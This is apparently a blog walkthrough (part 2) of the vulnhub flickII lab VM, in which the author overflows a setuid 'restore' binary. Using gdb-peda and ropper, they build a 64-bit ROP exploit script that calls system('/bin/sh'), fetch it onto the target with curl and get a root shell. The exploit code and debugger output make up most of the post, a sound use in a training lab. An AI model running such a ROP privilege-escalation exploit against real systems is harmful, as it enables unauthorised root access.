I scp’ed the binary to my Kali box and ran it in gdb:

First I am going to check the security features it was compiled with:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

NX – No Execution means I cannot simply put my shellcode on the stack as it is marked as non-executable (time to learn ROP!).

sdf

root@kali:~/vulnhub/flickII# gdb restore
GNU gdb (Debian 7.11.1-2) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from restore...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/vulnhub/flickII/restore 
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 200 times>...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffec6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Output directory is: ", 'A' <repeats 179 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe118 ('A' <repeats 200 times>...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x124 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ('A' <repeats 200 times>...)
0008| 0x7fffffffe120 ('A' <repeats 200 times>...)
0016| 0x7fffffffe128 ('A' <repeats 200 times>...)
0024| 0x7fffffffe130 ('A' <repeats 196 times>)
0032| 0x7fffffffe138 ('A' <repeats 188 times>)
0040| 0x7fffffffe140 ('A' <repeats 180 times>)
0048| 0x7fffffffe148 ('A' <repeats 172 times>)
0056| 0x7fffffffe150 ('A' <repeats 164 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

No 41’s in RIP!!!!!!! :’-(

Time to learn new stuff! Thanks again to @_RastaMouse who pointed me to two wonderful 64bit BOF tutorials from @superkojiman:

https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

So to quote the first tutorial:

So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. Recall as I mentioned earlier that the maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. So really the goal is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset…

So thats why there are no A’s in RIP! But as you can read in the first tutorial the following works:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Now we need to append the first Input Value:

root@kali:~/vulnhub/flickII# sed -i '1i/tmp/' pattern.txt 
root@kali:~/vulnhub/flickII# cat pattern.txt 
/tmp/
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

And feed that into the program inside of gdb

gdb-peda$ r < pattern.txt 
Starting program: /root/vulnhub/flickII/restore < pattern.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7ffffe5a 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAS"...)
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x40101f (<get_out_path+62>: ret)
R8 : 0x7925417825415a25 ('%ZA%xA%y')
R9 : 0x5725417425415625 ('%VA%tA%W')
R10: 0x190 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x401015 <get_out_path+52>: call 0x402130 <printf>
 0x40101a <get_out_path+57>: lea rax,[rbp-0x40]
 0x40101e <get_out_path+61>: leave 
=> 0x40101f <get_out_path+62>: ret 
 0x401020 <do_restore>: push rbp
 0x401021 <do_restore+1>: mov rbp,rsp
 0x401024 <do_restore+4>: sub rsp,0x20
 0x401028 <do_restore+8>: mov QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0016| 0x7fffffffe128 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0024| 0x7fffffffe130 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0032| 0x7fffffffe138 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0040| 0x7fffffffe140 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0048| 0x7fffffffe148 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0056| 0x7fffffffe150 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$

Okay Im not yet really experienced in this so you might want to double-check or read up on this but my understanding is:

  • When a new function is called, first the return address is pushed on the stack and then the new stack frame is posted about it
  • At the time of the crash the RSP points directly above the Return Adress

So lets check out RSP and calculate the offset of RIP:

Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()
gdb-peda$ x/wx $rsp
0x7fffffffe118: 0x65414149
gdb-peda$ pattern_offset 0x65414149
1698775369 found at offset: 72
gdb-peda$

So RIP starts at offset 72 Bytes should be 6 bytes long and prepended with 2 null bytes.

Again thanks to @superkojiman for his python template to generate an according string:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP with 0x0000424242424242
buf += "C"*100 # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Now lets feed this into the binary inside of gdb:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0d0 ('A' <repeats 72 times>, "BBBBBB")
RBX: 0x400310 (<_init>: sub rsp,0x8)
RCX: 0x7fffff9c 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7ffff7ff9000 ("Enter the output directory: Output directory is: ", 'A' <repeats 72 times>, "BBBBBB\n")
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe120 ('C' <repeats 100 times>)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x4e ('N')
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>: push r14)
R14: 0x4017a0 (<__libc_csu_fini>: push rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe120 ('C' <repeats 100 times>)
0008| 0x7fffffffe128 ('C' <repeats 92 times>)
0016| 0x7fffffffe130 ('C' <repeats 84 times>)
0024| 0x7fffffffe138 ('C' <repeats 76 times>)
0032| 0x7fffffffe140 ('C' <repeats 68 times>)
0040| 0x7fffffffe148 ('C' <repeats 60 times>)
0048| 0x7fffffffe150 ('C' <repeats 52 times>)
0056| 0x7fffffffe158 ('C' <repeats 44 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
gdb-peda$

So now I control EIP like in the old (x86) days!

So lets remember the NX security flag! I cannot just put my shellcode on the stack (in the buffer string) and execute it!

I need to used Returned Oriented Programming (ROP) and try to find so called ROP Gadgets on the stack that that return to libc so I can pass my own command to libc after the program finishes (crashes)!

So as mentioned a couple of times this is all heavily borrowed, but I like to explain it a bit more in details (for simpleminded people like myself):

  1. I want to jump (return) to system()I can find the Address of system() with gdb-peda:
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x401fd0 <system>

    –> 0x401fd0

  2. I want system() to spawn me a /bin/shFor this to work I need to push a memory address that contains “/bin/sh” into RDI, as arguments for function calls are apparently transmitted via registers in 64bit architecture.I can use gdb-peda again to find this:
    gdb-peda$ find "/bin/sh"
    Searching for '/bin/sh' in: None ranges
    Found 2 results, display max 2 items:
    restore : 0x492bad --> 0x68732f6e69622f ('/bin/sh')
    restore : 0x492d20 --> 0x68732f6e69622f ('/bin/sh')

    I used the second one –> 0x492d20

  3. The Buffer string will place the above aquired memory address on the stack, now I need a rop gadget (instruction) that pushes the top of the stack into RDI.I can find this gadget using ropper:
    [INFO] Searching for gadgets: pop rdi
    
    [INFO] File: restore
    0x000000000046c2fd: pop rdi; add eax, dword ptr [rax]; add byte ptr [rax - 0x7d], cl; ret 0x4910; 
    0x000000000047bf07: pop rdi; fmulp st(1); ret; 
    0x0000000000412de9: pop rdi; in al, dx; mov qword ptr [rdi - 0xc], rcx; mov dword ptr [rdi - 4], edx; ret; 
    ...
    ...
    ...
    0x00000000004af2a9: pop rdi; cmc; jmp qword ptr [rax]; 
    0x00000000004ae825: pop rdi; cmc; jmp qword ptr [rdx]; 
    0x000000000040167e: pop rdi; ret; 
    0x0000000000454747: pop rdi; sti; jmp qword ptr [rsi + 0xf];

    –> 0x000000000040167e: pop rdi; ret;

With this 3 gadgets I can now build my very own first x64 and my very own first ROP exploit:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "/tmp/\n"
buf += "A"*72 # offset to RIP
buf += pack("<Q", 0x000000000040167e) # pop rdi; ret - found via >ropper --file restore --search "pop rdi"
buf += pack("<Q", 0x492d20) # /bin/sh - found via gdb-peda$ find "/bin/sh"
buf += pack("<Q", 0x401fd0) # system - found via gdb-peda$ p system 

f = open("in.txt", "w")
f.write(buf)

Now lets try this locally on Kali in gdb-peda first:

gdb-peda$ r < in.txt
Starting program: /root/vulnhub/flickII/restore < in.txt
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
[New process 12389]
process 12389 is executing new program: /bin/dash
[New process 12390]
process 12390 is executing new program: /bin/dash
[Inferior 3 (process 12390) exited normally]
Warning: not running or target is remote

I see 2 /bin/dash, I hope that is good! :)

Lets pipe directly into the binary:

root@kali:~/vulnhub/flickII# (cat in.txt; cat) | ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
uid=0(root) gid=0(root) Gruppen=0(root)

This looks good! Obviously I already started the binary as root, however remember the original functionality of the program? It did not provide an interactive prompt!!!

So lets transfer the exploit to flickII and see if I can get root via the setuid version of the binary there:

[sean@fII bin]$ curl http://192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py
</192.168.0.56/flick2-myexploit.py -o /tmp/myexploit.py 
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 416 100 416 0 0 34955 0 --:--:-- --:--:-- --:--:-- 37818
[sean@fII bin]$ cd /tmp
cd /tmp
[sean@fII tmp]$ chmod +x myexploit.py
chmod +x myexploit.py
[sean@fII tmp]$ ./myexploit.py
./myexploit.py
[sean@fII tmp]$ python myexploit.py
python myexploit.py
[sean@fII tmp]$ cat in.txt
cat in.txt
/tmp/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@ -I�@[sean@fII tmp]$ 

[sean@fII tmp]$ 
[sean@fII tmp]$ cat in.txt | /usr/local/bin/restore
cat in.txt | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
Segmentation fault
[sean@fII tmp]$ id
id
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)
[sean@fII tmp]$ (cat in.txt; cat) | /usr/local/bin/restore
(cat in.txt; cat) | /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /tmp/


Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@
id
id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

HELL YEAH \o/

And here I plant my flag:

flag

Thanks

This VM was a real blast for me! First I could apply my newly learnt skills from this Years 2016 SANS Holiday Hack Challenge!

Then I could freshen up some rusty LD_PRELOAD knowledge and finally it forced me to understand and write my first 64bit and my first ROP exploit! :-D

Thanks to:

@leonjza for this awesome VM
@_RastaMouse for helping me in IRC and his great WriteUp!
@superkojiman for his awesome 64bit Stack Smashing Tutorials!!!

Advertisements

About SebastianB

read it in my blog
This entry was posted in boot2root, miscellaneous, vulnhub. Bookmark the permalink.

One Response to vulnhub: flickII – to the root – walkthrough part2

  1. Pingback: vulnhub: flickII – a different approach – walkthrough part1 | IT-Unsecurity

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s